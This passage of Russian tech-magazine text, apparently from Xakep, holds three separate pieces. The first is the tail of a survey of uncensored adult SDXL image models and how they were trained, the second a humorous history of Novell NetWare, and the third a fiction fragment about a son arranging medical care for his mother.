тоже сделано множество, и  практически все они способны создавать нам‐
ного более качественные результаты, чем оригинальные базовые модели.
Впрочем, сейчас речь не  о них,  мы подробно рассмот‐
рели в прошлый раз. Сегодня же мы поговорим о борьбе с цензурой, оста‐
ваясь в рамках фотографического реализма и архитектуры SDXL.

рисованные модели

ЦЕНЗУРА И БОРЬБА С НЕЙ: РАННИЕ ЭТАПЫ

Архитектура Stable Diffusion XL (SDXL) вышла полтора года назад,
в июле 2023 года. Практически сразу появилась и первая обученная модель
на  ее основе  — RunDiffusion XL, вышедшая уже в  августе того же года. Эти
модели создавались в  компаниях, ориентированных на  получение прибыли,
и потому не позволяли генерировать контент «для взрослых».

Не то чтобы в коммерческих моделях использовались какие‑то специаль‐
ные цензурные ограничения — просто в числе 400 миллионов изображений
из актуального на тот момент набора LAION 5B, на основе которых обучалась
как  UNet базовой модели Stable Diffusion XL, так и  текстовые декодеры
OpenCLIP, доля откровенных изображений была минимальной. Так возникло
сразу два естественных ограничения: со  стороны текстового декодера,
который плохо понимал, чего от него хотят, и со стороны UNet, в которой поч‐
ти не  содержалось запрошенного контента, даже если до  него удавалось
добраться.

Каким именно образом «добраться»? Быстро появились лоры для  «рас‐
цензуривания» SDXL, вся роль которых сводилась к тому, чтобы запрошенные
персонажи выводились без  одежды. «Знаний» о  том, что именно обычно
находится под одеждой, эти лоры не прибавляли, поэтому ранние результаты
можно было спокойно выставлять в кунсткамере.

Обучение базовой модели масштаба SDXL — чрезвычайно ресурсоемкое
и дорогое занятие, и даже создание моделей глубокого обучения на основе
существующей базовой модели — занятие не на каждый день. В то же время
натренировать лору, скормив пачку из  нескольких сотен или  тысяч изоб‐
ражений, можно всего за  несколько часов на  обычной не  самой мощной
видеокарте.

На втором этапе борьбы с  цензурой пользователи начали заниматься
именно этим: на ограниченных наборах изображений обучались лоры «верх»,
лоры «низ» и  концептуальные лоры «взаимодействий», которые внедрялись
в  базовую модель SDXL (или в  какой‑нибудь удачный, но  цензурированный
ремикс). Получалось плохо с  точки зрения как  реализма, так и  эстетики;
в зависимости от запроса можно было легко проследить «стык» между качес‐
твенной основной моделью и внедренными в нее лорами.

Серьезные подвижки начали происходить лишь к середине 2024 года, ког‐
да одна за  другой стали появляться реалистичные модели глубокого обу‐
чения.

ФОТОРЕАЛИСТИЧНЫЕ МОДЕЛИ ГЛУБОКОГО ОБУЧЕНИЯ

В июле  — августе  2024  года в  создании «взрослых» фотореалистичных
моделей произошел прорыв. С  месячным промежутком вышли сразу три
крупные модели: bigASP, Lustify и  NatViS. Многие современные ремиксы
и обученные модели в той или иной степени включают в себя одну или нес‐
колько моделей из этой троицы.

Наибольший теоретический интерес представляет модель : она

стала первой моделью глубокого обучения, а  ее автор с  ником fpgaminer
опубликовал подробный отчет о  том, как  именно обучалась модель и  какие
подходы и инструменты при этом использовались. Интересующихся отправ‐
ляю в  первоисточники на  Reddit: 

 и  .

bigASP

The Gory Details of  Finetuning SDXL for 30M
samples The Gory Details of Finetuning SDXL for 40M samples

Первая версия модели обучалась на  1  440  000 NSFW-фотографий
в высоком разрешении (в процессе обучения они случайным образом обре‐
зались, чтобы уместиться в  стандартные для  SDXL размерности); во  второй
версии набор был расширен до  4  миллионов порнокартинок и  2  миллионов
обычных. Добавление в набор изображений с повседневными сюжетами поз‐
волило не  только разнообразить фон и  расширить число известных модели
концепций, но и существенно поднять качество генерации.

Весь набор был пропущен через специальную модель, которая определя‐
ла уровень качества, назначая рейтинги от 0 до 9 (впоследствии эти рейтинги
будут использованы для  тегов  и  далее, но  не как  в случае с  Pony:

сделанные в  Pony ошибки автор учел). Фотографии с  нулевым рейтингом
в  дальнейшем обучении не  участвовали: выяснилось, что даже небольшое
число некачественных фото приводит к  катастрофическим с  точки зрения
качества последствиям.

score_9

Далее фотографии были загружены в  модель , созданную все тем
же разработчиком (ты можешь  ее в  режиме онлайн на  сайте
Hugging Face или  установить ее локально на  свой компьютер). На  вход
модели подается картинка или  фотография (с цензурой или  без);
на выходе — набор тегов в формате Danbooru, которыми описывается про‐
исходящее.

JoyTag
попробовать

В первой версии bigASP поддерживались только теги; естественный язык
модель подзабыла. Во  второй версии теги из  JoyTag были дополнены опи‐
саниями на естественном языке, сгенерированными еще одной моделью все
того же разработчика — . JoyCaption представляет собой визуаль‐
ную языковую модель Visual Language Model (VLM), на вход которой подается
изображение, а на выходе — сгенерированный LLM текстовый запрос.

JoyCaption

На этом сложности не заканчиваются: разработчик подключил еще три (!)
LLM Llama 3.1  8B, чтобы упростить запросы, выбросить сгенерированный
VLM словесный мусор (this image is...), добавить тег watermark к соответству‐
ющим изображениям и удалить его из тех, где логотипы отсутствуют; наконец,
добавить источник к тем изображениям, для которых он известен.

Отличие JoyTag и  JoyCaption от  большинства существующих моделей
в  отсутствии цензуры и  понимании множества концепций, встречающихся
в наборах данных «для взрослых».

Но и это еще не все. Далее фотографии были загружены в модель 
с запросом watermark, чтобы определить наличие на изображениях подписей
и логотипов. К таким картинкам добавлялся тег watermark.

OWLv2

В процессе работы автор постарался избежать переобучения модели,
подобного тому, что вышло у  автора Pony Diffusion. Так, вместо того чтобы
использовать теги ,  и подобные в каждом изображении,

обучающий скрипт отбрасывал большую часть из них, рандомизируя выборку
и оставляя из всего набора присвоенных тегов  от одного до трех тегов,

выбранных случайным образом.

score_9 score_8_up
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В результате модель может работать как  с тегами, так и  без; при  этом,
в  отличие от  Pony, достаточно всего одного тега качества  — например,

. Для каждого десятого изображения (каждого двадцатого во вто‐

рой версии) текстовый запрос обнулялся; по  задумке автора это  позволит
модели генерировать детали, которые не  были запрошены явным образом,
избегая таким образом примитивных интерьеров и  «пустого» фона. Кроме
того, были приняты меры, которые разнообразили длину запроса. Все
это вместе взятое позволяет модели генерировать детализированные изоб‐
ражения как по сложным, так и по коротким запросам.

score_7_up

Процесс обучения первой версии модели занял пять дней на  облачном
сервере 8xH100 sxm5; вторая версия обучалась на том же сервере в течение
еще шести дней.

Что в  результате? Вышла отличная базовая модель, использовать
которую... не нужно. На основе bigASP создано множество ремиксов, качес‐
тво которых заметно превышает качество основной модели.

Один из ремиксов bigASP — theBigXFiles

Впрочем, не  только ремиксов. На  базе bigASP (а впоследствии и  немного
NatViS) была создана обученная модель , которая стала второй круп‐
ной моделью для взрослых, обойдя по популярности оригинал. О ее обучении
можно почитать на странице проекта на Civitai.

Lustify

Работа модели lustifySDXLNSFW_oltONELASTTIME

Наконец, модель  стала третьей крупной моделью,

которую часто включают в  состав ремиксов. Ее особенности  — обучение
на  более чем миллионе изображений, аннотированных моделью Multimodal
Large Language Model (MLLM) в терминах естественного языка.

NatViS: Natural Vision

На странице модели ее автор подробно рассказывает о  том, как  был
обставлен процесс обучения. В  отличие от  bigASP, в  NatViS принципиально
нет градаций по качеству исходных изображений. Нет и тегов Danbooru (теги
работают, но  декодируются моделью по  тому же принципу, по  которому
с ними работают модели SDXL). Зато в модели присутствуют теги из метадан‐
ных EXIF, что позволяет в какой‑то степени контролировать глубину резкости,
углы обзора и фокусное расстояние. Кроме того, в выборке присутствует ряд
аннотированных пленочных и  винтажных фотографий, что позволяет соз‐
давать и такие изображения. Кстати, к марту 2025-го разработчик пообещал
выпустить третью версию модели.

NatViS часто включают в ремиксы, но не так часто, как bigASP и Lustify; эти
две модели микшируют чаще всего, а  с учетом того, что Lustify основана
на bigASP, получается большой крен в сторону последней. Количество ремик‐
сов и  даже обученных моделей на  основе этой троицы исчисляется десят‐
ками; большинство из  них работает вполне адекватно, обходя по  качеству
результата любую из  моделей‑доноров. Перечислять их все бессмысленно,
но  для примера можно упомянуть такие модели, как  xxxRay, monolith6, visxl,
mythNightXL, stepDadsStashXL или fabledIllusion.

Модель bigLust — один из бесчисленных ремиксов bigASP и Lustify

Отдельной строкой нужно упомянуть единственную модель для  взрослых
с  архитектурой CosXL: это  gtmUltimateloveXL с  расширенным динамическим
диапазоном и высоким контрастом.

Если отвлечься от  специфически «взрослой» тематики и  обратить вни‐
мание на  модели без  цензуры, оптимизированные на  достижение художес‐
твенного результата, то выбор существенно расширяется. Из  обученных
моделей можно обратить внимание на Halcyon SDXL (обучена на собственных
работах автора — профессионального фотографа), epiCRealism XL (популяр‐
ная обученная фотореалистичная модель), модели babesByStableYogi
и  realismByStableYogi в  редакциях для  SDXL, cyberrealisticXL (универсальная
модель), проект theAramintaExperiment (способна генерировать необычные
композиции), QuadpipeQp (автор — дизайнер и художник; модель интересна,
как  и другие работы автора). Перечислять ремиксы большого смысла нет,
но  можно начать с  Jib Mix Realistic XL (просто качественная универсальная
модель без цензуры) или galaxytimemachinesGTM.

Универсальная модель без цензуры cyberrealisticXL

БЛИЖАЙШЕЕ БУДУЩЕЕ

В этой области сложно говорить о  чем‑то с  уверенностью, поскольку раз‐
витие здесь бурное и  во многом стихийное. Но  давай пройдемся
по основным архитектурам и посмотрим, какие у них есть перспективы в пла‐
не рисования картинок 18+.

Flux.dev
Попытки «раздеть» Flux продолжаются с упорством, достойным лучшего при‐
менения: модель «сопротивляется» изо всех сил. На обычном железе можно
обучать разве что лоры, а  на них далеко не  уедешь, как  это хорошо про‐
демонстрировали ранние модели SDXL. В  то же время глубокому обучению
Flux мешает сразу несколько факторов. Здесь и достаточно жесткая лицензия
на стандартную (неускоренную) модель, и дистиллированное представление
самой модели (вернуть ее в изначальное состояние можно, и такие проекты
тоже , но работают подобные модели вдвое медленнее дистиллирован‐
ных), и высокие требования к железу, которое будет использоваться для обу‐
чения. В ближайшие месяцы я не жду прорывов в этом направлении.

есть

SD 3.5
Модели SD 3.5 Large и  Medium пока не  взлетели, и  совершенно непонятно,
выйдет ли на них что‑то хорошее. Моделей, качество которых было бы замет‐
но выше основной, на этих архитектурах пока нет.

Lumina 2
Для перспективной модели Lumina 2 открыты все возможности. Ее лицензия
практически не  ограничивает использование модели, а  все необходимые
для работы с моделью инструменты разработчики выложили в открытый дос‐
туп. Заинтересует ли эта архитектура сообщество разработчиков  — пока
непонятно.

AuraFlow
Обучение модели с открытым исходным кодом AuraFlow так и не было завер‐
шено; разработчики прекратили работу над  ней. Упавшее знамя подхватил
AstraliteHeart, создатель оригинальной Pony Diffusion. По  словам разработ‐
чика, последние полгода седьмая версия Pony на  новой архитектуре ожи‐
дается с  недели на  неделю. Как  обещает AstraliteHeart, новая модель будет
отличаться еще  более высокими этическими стандартами и  требованиями
к безопасности; таким образом, в ближайшее время должна быть представ‐
лена первая в  мире «этичная» и  «безопасная» аниме‑модель для  взрослых.
Добавим сюда и  совершенно новую архитектуру, на  которой изначально
будет доступна единственная модель, и  успех предприятия становится все
более сомнительным.

SDXL
Вероятно, в  ближайшие месяцы SDXL продолжит доминировать в  области
локальных генеративных моделей. Скорость выхода новых фотореалистичных
моделей на этой архитектуре в последнее время снизилась; чаще всего авто‐
ры в  разных пропорциях смешивают несколько известных обученных
моделей, иногда разбавляя микс лорами. Из  крупных обученных моделей
ожидается третья версия NatViS. Я могу представить, что еще  можно улуч‐
шить в  SDXL, не  выходя за  рамки этой архитектуры, но  сильно сомневаюсь,
что кто‑нибудь захочет продолжать работу в этом направлении.

ВЫВОДЫ

Использование теговых описаний для фотореалистичных изображений, язы‐
ковые модели JoyTag и  JoyCaption, способные быстро и  с небольшими зат‐
ратами распознавать и  аннотировать содержимое изображений как  тегами,
так и  естественным языком,  — все это  находит применение далеко за  пре‐
делами «моделей для взрослых».

mailto:aoleg@voicecallcentral.com
https://xakep.ru/2025/03/12/stable-diffusion-anime/
https://xakep.ru/2024/03/14/sdxl-fine-tuning/
https://xakep.ru/2025/03/12/stable-diffusion-anime/
https://www.reddit.com/r/StableDiffusion/comments/1dbasvx/the_gory_details_of_finetuning_sdxl_for_30m/
https://www.reddit.com/r/StableDiffusion/comments/1gdkpqp/the_gory_details_of_finetuning_sdxl_for_40m/
https://github.com/fpgaminer/joytag
https://huggingface.co/spaces/fancyfeast/joytag
https://github.com/fpgaminer/joycaption
https://huggingface.co/google/owlv2-base-patch16-ensemble
https://huggingface.co/nyanko7/flux-dev-de-distill
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Любая технология переживает на  своем
веку период взлета, расцвета и  падения.
Операционная система Novell NetWare ког‐
да‑то работала на 90% корпоративных фай‐
ловых серверов, а  сейчас о  ней помнят
немногие. Что послужило причиной
бешеной популярности этой ОС и  почему
о ней позабыли?

Во времена моей молодости самым распространенным вариантом развития
карьеры после окончания школы и  получения профессии было пойти
на  завод. Я и  пошел  — инженером‑системотехником по  обслуживанию
вычислительных машин. Сейчас эта специальность гордо называется «сисад‐
мин».

Среди обширного зоопарка разнообразной техники в  здании заводо‐
управления выделялся один файловый сервер. Он обитал в  огромном кор‐
пусе форм‑фактора Big Tower на  мебельных колесиках с  откидывающимися
на  газлифтах боковыми стенками. Думаю, человек с  габаритами Тириона
Ланнистера мог бы забраться в него целиком и организовать внутри уютную
квартиру‑студию. На этом серваке крутилась операционная система, которую
я поначалу принял за  хорошо знакомую мне по  домашней персоналке MS-
DOS, но, потыкавшись в нее, быстро осознал, что передо мной нечто совсем
иное. «Это не  DOS, чувак,  — развеял мои сомнения главный инженер
завода, — эта штуковина называется „нетварь“!» Так я впервые познакомился
с операционной системой Novell NetWare.

ИСТОРИЯ С ГЕОГРАФИЕЙ

В  1980  году двое парней  — Джордж Канова и  Джек Дэвис  — решили, что
будущее за  персоналками и  сетями, а  не за  этими вашими одинокими мей‐
нфреймами размером с  самосвал. Правда, дошли они до  этого не  сразу:
изначально основанная ими компания Novell Data Systems продавала малому
бизнесу компьютеры под управлением CP/M и разрабатывала софт для них,
но  конкурентов на  этом рынке было как  старушек с  сумками‑тележками
в  трамвае в  девять утра. К  слову, название для  стартапа предложила жена
Кановы, которая считала, что слово Novell по‑французски означает «новый»,
хотя это совсем не так. Видимо, со знанием французского языка дела у нее
обстояли не очень, примерно как у ее мужа — с бизнесом: продажи компь‐
ютеров, что называется, не взлетели.

Novell Nexus

К середине  1981  года компания, штаб‑квартира которой располагалась
на  заброшенном складе ковров неподалеку от  пустующего сталелитейного
завода в  городе Орем, штат Юта, продавала два товара: разработанный
самой Novell компьютер Nexus с процессором Zilog Z80 и матричный принтер
Image 800. Но  расходы на  производство и  содержание фирмы оказались
выше доходов, и  в конце года отчаявшийся Дэвис покинул коллектив,
а  Канова погрузился в  раздумья о  том, как  жить дальше,  — ведь любитель‐
нице французского языка нужно было на  что‑то покупать французскую кос‐
метику!

Придуманное им решение казалось гениальным: нужно объединить нес‐
колько компьютеров Nexus для совместной работы и обмена данными. С этой
целью Канова нанял программистов Дрю Мейджора и  Дейла Нейбаура,
которые вместо программы для  обмена файлами зачем‑то разработали
под  Nexus одну из  первых в  истории многопользовательских игр  — Snipes.
Интерфейс игры был реализован с  использованием псевдографики. Поль‐
зователю предлагалось перемещать по лабиринту нарисованное с помощью
парочки символов существо, уничтожать «снайпов» и их ульи, а также других
игроков в сети.

Snipes — первая в истории сетевая многопользовательская игра, почти
WoW из восьмидесятых

Однако с  гейм‑девелопментом дела тоже шли неважно: Novell продолжала
нести убытки. Когда долгов накопилось на 3,4 миллиона долларов, инвесторы
постучали ботинком по   столу и  назначили собственного руководите‐
ля — Джека Мессмана, который решил переориентировать компанию на раз‐
работку софта, в первую очередь — сетевого, настолько его впечатлила воз‐
можность играть в Snipes сразу на нескольких машинах. Как позже писал Дрю
Мейджор, «просто замечательно, что наш компьютер оказался таким пар‐
шивым, ведь это  навело нас на  мысль, что производство компьютеров
на самом деле не то, что нам нужно».

голове

NETWARE

25 января 1983 года компанию перерегистрировали под именем Novell, Inc.:
ведь очевидно, что стоит поменять название  — и  все долги сразу исчезнут,
а бизнес стремительно попрет в гору. На тот момент в штате фирмы осталось
примерно 15 сотрудников, включая директора и уборщицу. Основным флаг‐
манским продуктом Novell стала «сетевая операционная система» (Network
Operating System, NOS) для  файловых серверов, которую решили раз‐
работать на фундаменте той самой сетевой игрушки Snipes. Продукт получил
наименование NetWare. В  основе ОС лежал стек сетевых протоколов собс‐
твенного изобретения Novell под  названием IPX/SPX, который, в  отличие
от унылого TCP/IP, работал быстро и весело (ну, до тех пор, пока ты не пытал‐
ся понять, почему сервер вдруг перестал видеть клиентов).

Вот такую примерно картину я наблюдал на своем рабочем месте в те
времена

Первую версию ОС программисты Novell разработали под собственный сер‐
вак ShareNet на  базе процессора Motorola 68000, но  и это  устройство
не  снискало популярности: на  дворе стоял  1984  год, и  корпоративные кли‐
енты предпочитали покупать компьютеры IBM PC с процессорами Intel 8086.
На них как минимум можно было поиграть в «Принца Персии». Быстро осоз‐
нав, кто на  районе главный, Novell выкатила версию NetWare под  х86, и  это
событие стало поворотным моментом в  ее истории. IBM-совместимые сер‐
веры с надежной, как трактор «Беларусь», «нетварью» на борту стали короля‐
ми локалок, собранных на  черном коаксиальном кабеле, Т‑коннекторах
и  «терминаторах». Именно такую сеть с  таким именно сервером я и  застал
на своем заводе.

Это была многозадачная ОС, которая держала корпоративные сети
за  одно место задолго до  того, как  красноглазые парни в  недрах Microsoft
придумали Active Directory. Операционка работала на базе протокола IPX/SPX
(Internetwork Packet Exchange / Sequenced Packet Exchange), который, по сути,
представлял собой немного доработанный клон старого доброго Xerox
Network Systems (XNS). Да, в  те славные времена человечество запросто
обходилось без TCP/IP, он по большому счету был не особо нужен. В отличие
от  этого самого TCP/IP, IPX/SPX не  требовал настройки  — ты просто втыкал
пользовательский комп в  сеть, и  оно работало (если, конечно, уборщица
не пошевелила шваброй коаксиал в Т‑коннекторе: тогда падал весь сегмент
сети).

NetWare Monitor

Помимо IPX/SPX, NetWare поддерживала и  другие протоколы: NetWare Core
Protocol (NCP), который отвечал за  файловый доступ и  печать, Service
Advertising Protocol (SAP)  — магия, делавшая возможным автоматическое
обнаружение серверов и  сервисов, Routing Information Protocol (RIP)  —
локальная версия RIP для маршрутизации внутри IPX-сетей. Еще была огра‐
ниченная поддержка FTP и средств печати LPR/LPD, но они использовались
в том случае, если в твоей сети работали машины под управлением Unix. Вот
эти протоколы приходилось конфигурировать, впрочем, настройка была
относительно несложной  — поставить драйвер модема в  Windows 95
(которой тогда еще не существовало) впоследствии оказалось намного труд‐
нее.

NetWare устанавливалась с четырех дискет — на нашем сервере красова‐
лось аж два пятидюймовых дисковода. Ядро NetWare было построено по мик‐
роядерному принципу (еще до  того, как  это стало мейнстримом). ОС гру‐
зилась целиком в  оперативную память и  там же жила, обеспечивая зап‐
редельную для  своего времени производительность. Если ты запускал сер‐
вер NetWare 3.x, ты видел простенький текстовый экран с командной строкой,
логами и статусами. Основной админский интерфейс — это и была та самая
командная строка, в  которой руками прописывался путь к  ядру и  конфигам.
Управление серваком осуществлялось через console.nlm — командную обо‐
лочку, в которой ты мог загружать модули, убивать процессы и смотреть ста‐
тус системы. Если же ты был лохом и предпочитал GUI, существовал инстру‐
мент NWAdmin  — Windows-подобное приложение для  управления поль‐
зователями, правами и всей этой скучной админской фигней. Но настоящие
профи лазили в систему через менюшки Monitor.nlm и DSRepair.nlm, где мож‐
но было творить магию с сетевыми настройками. Все это работало быстрее,
чем любые MMC-консоли Windows Server, а  жрало при  этом в  разы меньше
ресурсов.

Дистрибутив NetWare — несколько дискет и пачка мануалов

Основным принципом NetWare было не  совместное использование дисков,
а  совместное использование файлов, то есть контроль доступа организо‐
вывался на  уровне отдельных объектов файловой системы, а  не дисковых
разделов, что давало гораздо большую гибкость с  точки зрения настроек.
Сама файловая система в этой операционке называлась NetWare File System
(NWFS), позже она была переименована в Novell Storage Services (NSS). Пер‐
вые версии, как и MS-DOS, не поддерживали длинные имена и файлы боль‐
шого объема, что считалось, конечно же, печальным минусом ОС, зато эта
файловая система не требовала регулярной дефрагментации.

Но главная фишка архитектуры Novell NetWare  — это  NLM (NetWare
Loadable Modules). По  сути, это  динамические модули, которые позволяли
админам на  лету загружать новые компоненты системы без  ребута. Пред‐
ставь, что ты добавляешь поддержку нового RAID-контроллера или  драйвер
сетевой карты, а сервер и не думает о перезагрузке, подхватывая все изме‐
нения на лету. Даже хваленая Windows NT (которой тогда тоже еще не сущес‐
твовало) так не умела.

Собственно, благодаря модульной архитектуре у  админа имелась воз‐
можность собрать именно ту конфигурацию NetWare, что нужна ему
для работы. Еще одна вещь, которую Microsoft сперла у Novell, — это появив‐
шаяся в  версии  4  штуковина под  названием NDS (Novell Directory Services),
предок всех современных каталогов пользователей. Еще  до появления NT-
доменов в  NetWare уже работал полноценный LDAP-подобный сервис
с иерархией объектов, групп, прав доступа и репликацией между серверами.
NDS был настолько крут, что Microsoft сначала попыталась его адаптировать
для  Windows NT, а  потом тупо сделала свою собственную службу Active
Directory по тому же самому принципу.

Управление дисками

Для доступа к серверу NetWare на клиентских машинах с MS-DOS нужно было
запустить специальную программу TSR (Terminate and  Stay Resident), откры‐
вавшую пользователю доступ к общим ресурсам и сетевым принтерам. Сер‐
вер мог поддерживать до четырех сетевых карт (на нашем стояло две), при‐
чем допускалось одновременное подключение к сегментам сетей с разными
топологиями: Ethernet, ARCNET, Token Ring. Жесткие диски тоже поддержи‐
вались разные: MFM, IDE, ESDI, SCSI — в общем, Novell NetWare можно было
запустить практически на  любом железе с  процессором  80286  или  386.
Для  работы самой ОС требовалось минимум  2  Мбайт оперативной памяти,
весь остальной доступный объем оперативки использовался для  организа‐
ции рамдисков и кеширования.

Поскольку компьютеры в  конце восьмидесятых все еще  были довольно
дорогими, многие предприятия не  могли позволить себе покупку выделен‐
ного сервера. В  этом случае работу Novell NetWare можно было настроить
таким образом, чтобы серверная система делила аппаратные ресурсы с MS-
DOS: пользователю DOS оставались доступны  640  Кбайт оперативной
памяти (менеджеры расширенной памяти, которые использовали MMU про‐
цессоров 80386, такие как EMM386, при этом не работали). Юзер мог поль‐
зоваться машиной как обычной рабочей станцией, в то время как остальную
оперативку занимала «нетварь», которая в  фоновом режиме обслуживала
на этом же компьютере файловый сервер.

ИЗ КНЯЗЕЙ В ГРЯЗЬ

Разумеется, с  такими техническими возможностями Novell NetWare очень
быстро завоевала необычайную популярность, и  в начале девяностых
под  управлением этой ОС работало подавляющее большинство файловых
серверов в корпоративном сегменте — порядка 90% серверов на базе Intel.
Но  затем произошло целых два события, которые пошатнули мировую
гегемонию этой компании. Во‑первых, человечество изобрело 
интернет, который требовал полноценной поддержки TCP/IP в  сетях и  на
рабочих станциях. Во‑вторых, за  спиной к  Novell тихонечко подкралась кор‐
порация Microsoft и больно укусила ее за   жизненно важные маркетинговые
артерии, выпустив на  рынок Windows NT. Ленивым админам стало намного
удобнее нажимать на  кнопочки в  красивом оконном интерфейсе Windows,
чем править конфиги в консоли. Уже через год по распоряжению руководства
я снес с заводского сервера Novell NetWare и водрузил туда NT (после чего,
разумеется, пришлось перенастраивать, а кое‑где перекладывать всю сеть).
Аналогичным образом поступили многие другие предприятия.

порнхаб

жо

Серверы под управлением NetWare стали понемногу отключать

Последняя версия NetWare 6.5 вышла в 2003 году, а потом Novell окончатель‐
но скатилась в маркетинговый ад, переехав на платформу Linux. В 2003 году
Novell купила SuSE и сделала ставку на open source, выбрав бизнес‑модель
с получением дохода от технической поддержки, но было уже поздно.

На базе Linux компания выпустила новый серверный продукт  — Open
Enterprise Server. Однако тут конкуренция была еще сильнее, чем у продавцов
редиски на базаре: люди начали задумываться, а зачем платить Novell, если
на  базе Linux можно собрать сервер и  вовсе бесплатно, а  у Microsoft есть
неплохой и проверенный серверный продукт? Novell пыталась бороться: они
приобрели WordPerfect, скупили кучу компаний, но  все это  не помогло выб‐
раться из той маркетинговой ямы, в которую они угодили. К тому же компания
стала участником множества судебных споров с другими разработчиками ПО,
представителями сообщества Linux и  создателями Samba по  поводу трак‐
товки лицензии GNU/GPL и  коммерческих прав на  компоненты, вошедшие
в  состав Open Enterprise Server. В  2010  году Novell продали компании
Attachmate, а потом ее остатки поглотила Micro Focus.

Сегодня от Novell NetWare остались только теплые воспоминания олдфа‐
гов, заставших эту операционную систему вживую, да, возможно, пара древ‐
них серверов, которые все еще  трудятся под  управлением NetWare
3.12  где‑нибудь в  пыльных подвалах замшелых провинциальных НИИ. Так
закончилась эпоха этой операционной системы, которая когда‑то правила
рынком сетевых технологий. Но  если вдруг тебе попадется где‑то потертая
дискета с логотипом Novell — знай: перед тобой настоящий кусочек истории.
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Кирилл сидел на  жесткой деревянной скамейке, что притулилась
под козырьком в закутке внутреннего дворика, обхватив голову руками. Мама.
Его мама. Та, которая всю жизнь вывозила все на своих плечах, которая под‐
нимала его одна, без отца, без помощи. Она всегда казалась сильной, почти
неуязвимой.

Кирилл сжал телефон в  ладони. Нужно что‑то делать, но  что? Что угодно,
лишь  бы не  терять времени попусту. Мобильник вдруг снова завибрировал
в руке, на экране высветилось имя: «Тетя Таня». Он смотрел на телефон нес‐
колько долгих секунд, прежде чем ответить.

— Кирюша, ты прости, что я так... Ты только не  переживай, слышишь?  —
Голос в  динамике был встревоженным.  — Я просто подумала, ты должен
знать.

— Спасибо, — выдавил он, стараясь говорить ровно, но голос все равно
предательски дрогнул.

— Ты не волнуйся. Врачи говорят, еще не поздно начать лечение.
— Она… согласилась? — спросил Кирилл, уже зная ответ.
— Пока нет,  — неуверенно ответила тетя Таня.  — Она говорит, что

не  хочет быть обузой. Но  ты знаешь ее, она такая упрямая. Может, сам
поговоришь с ней?

— Конечно, поговорю.  — Кирилл кивнул, хотя тетя Таня не  могла этого
видеть. — Спасибо еще раз, теть Тань. Не знаю, что бы я без вас делал.

Нужно было нажать несколько кнопок и  набрать давно знакомый номер,
но именно сейчас он почему‑то не мог этого сделать. Кирилл глубоко вздох‐
нул, чувствуя, как  пересохло в  горле, и  все‑таки нажал кнопку вызова. Гудки
тянулись как вечность. Наконец раздался ее голос — усталый, но все тот же
родной.

— Кирюша, привет. Как ты там? — спросила мама с привычной заботой,
будто ничего не случилось.

— Привет, мам. Нормально. А  ты как?  — он попытался держать себя
в руках, но получалось с трудом.

— Все хорошо, сынок. Вот только устала немного, работы в  последнее
время навалилось.

Она никогда не  жаловалась, даже когда было плохо. Но  теперь Кирилл
знал правду и не мог больше молчать.

— Мам, я... я не  хочу, чтобы ты оставалась одна. Тебе надо приехать
ко мне в Питер. Здесь хорошие врачи, я договорюсь, чтобы тобой занялись
побыстрее, — затараторил он, боясь, что она сразу откажется.

— Кирюша... — Ее голос дрогнул. — У нас здесь тоже есть врачи. Я справ‐
люсь, правда.

— Мам, нет,  — он перебил, чувствуя, как  ком подступает к  горлу.  — Я
не могу просто сидеть здесь и ничего не делать, понимаешь? Это неправиль‐
но. Ты должна бороться. Ради меня. Ради себя.

В трубке повисло молчание. Где‑то на  заднем плане скрипнул стул  —
видимо, мама села, давая отдых усталым ногам.

— Кирюша, я не  хочу быть для  тебя обузой. Ты еще  молодой, у  тебя вся
жизнь впереди...

— Ты моя жизнь, мам, — он не смог сдержаться, и  голос сорвался. — Я
не смогу жить, зная, что имел возможность помочь, но не сделал этого. Прос‐
то дай мне этот шанс. Пожалуйста.

Она долго молчала, а он ждал, чувствуя, как внутри все переворачивается.
Когда она наконец заговорила, ее слова звучали тихо, но уже не так уверен‐
но.

— Ладно, сынок. Я подумаю.
— Мам, не  думай. Просто скажи «да». Я куплю тебе билет, сам приеду

за тобой, если нужно. Мы всё сделаем вместе. Ты не одна.
— Хорошо, — сдалась она, почти шепотом. — Хорошо, Кирюша. Я приеду.
Слезы потекли по  его щекам, но  он ничего не  ответил. Просто кивнул

в пустоту.
— Спасибо, мам, — выдохнул он. — Спасибо.
Теперь нужно было действовать, и  действовать быстро. Он вернулся

в свою комнату, включил ноутбук и углубился в поиски. В небольшом поселке
за  северо‑западной окраиной города располагался крупнейший в  регионе
медицинский центр, специализирующийся как  раз на  таких болезнях. А  при
нем, как  выяснил Кирилл, консультационный центр, куда принимали паци‐
ентов со всей страны. Он узнал, какие документы нужны, чтобы попасть туда
на  прием, с  трудом, но  дозвонился до  справочной и  сумел записать маму
на  консультацию. Деньги у  него имелись, так что финансовая сторона воп‐
роса его сейчас не  слишком беспокоила. Оставалось купить билет и  снять
какое‑нибудь жилье, желательно там же, на  севере, чтобы ездить было
не слишком далеко.

Кирилл открыл поисковик и  начал подбирать билеты. Поезд казался
самым удобным вариантом — больше суток в дороге, но мама хотя бы смо‐
жет отдохнуть в  пути. Самолет он сразу отбросил: хоть денег хватало, но  в
Подгорске не  было своего аэропорта, а  до ближайшего пришлось  бы
добираться аж за четыреста километров.

Следующий в  Питер поезд уходил завтрашним вечером. Кирилл оплатил
билет, сохранил электронные копии и отправил по электронной почте матери.

Теперь нужно было заняться жильем. Он открыл сайт с  объявлениями,
отфильтровал районы на  севере города и  начал методично пролистывать
варианты. Главный критерий  — близость к  клинике и  хотя  бы минимальный
комфорт, чтобы маме было удобно. Наконец он, кажется, нашел подходящее:
небольшая однушка недалеко от  метро. Не  новая, но  чистая, с  мебелью
и бытовой техникой. Цена тоже выглядела приемлемой.

Кирилл позвонил хозяину и  быстро с  ним договорился. Закончив с  этим,
он облегченно откинулся на  спинку стула. Вроде  бы все шло по  плану,
но  внутри не  отпускало чувство тревоги. Казалось, он все‑таки что‑то упус‐
кает. Киря снова открыл ноутбук и  написал сообщение Леониду: «Привет,
временно выпадаю из рабочего графика. Личные проблемы».

Ответ пришел почти сразу, но  Кирилл закрыл окно чата, даже не  читая.
Сейчас ему было важно другое: проверить список вещей, которые нужно дер‐
жать наготове. Одежда, лекарства, документы. Он позвонил тете Тане, чтобы
та убедилась, собрала ли мама все необходимое, и  она заверила его, что
проконтролирует это лично. Ее слова только усилили его решимость. Скоро
мама приедет, и  неважно, как  сложится дальше,  — он сделает все, чтобы
помочь.

В этих заботах промелькнули несколько дней, и, сообщив Леониду, что
в ближайшие пару суток он не появится, Кирилл отправился встречать поезд.
Раннее утро на вокзале всегда казалось ему каким‑то суетливым и бестолко‐
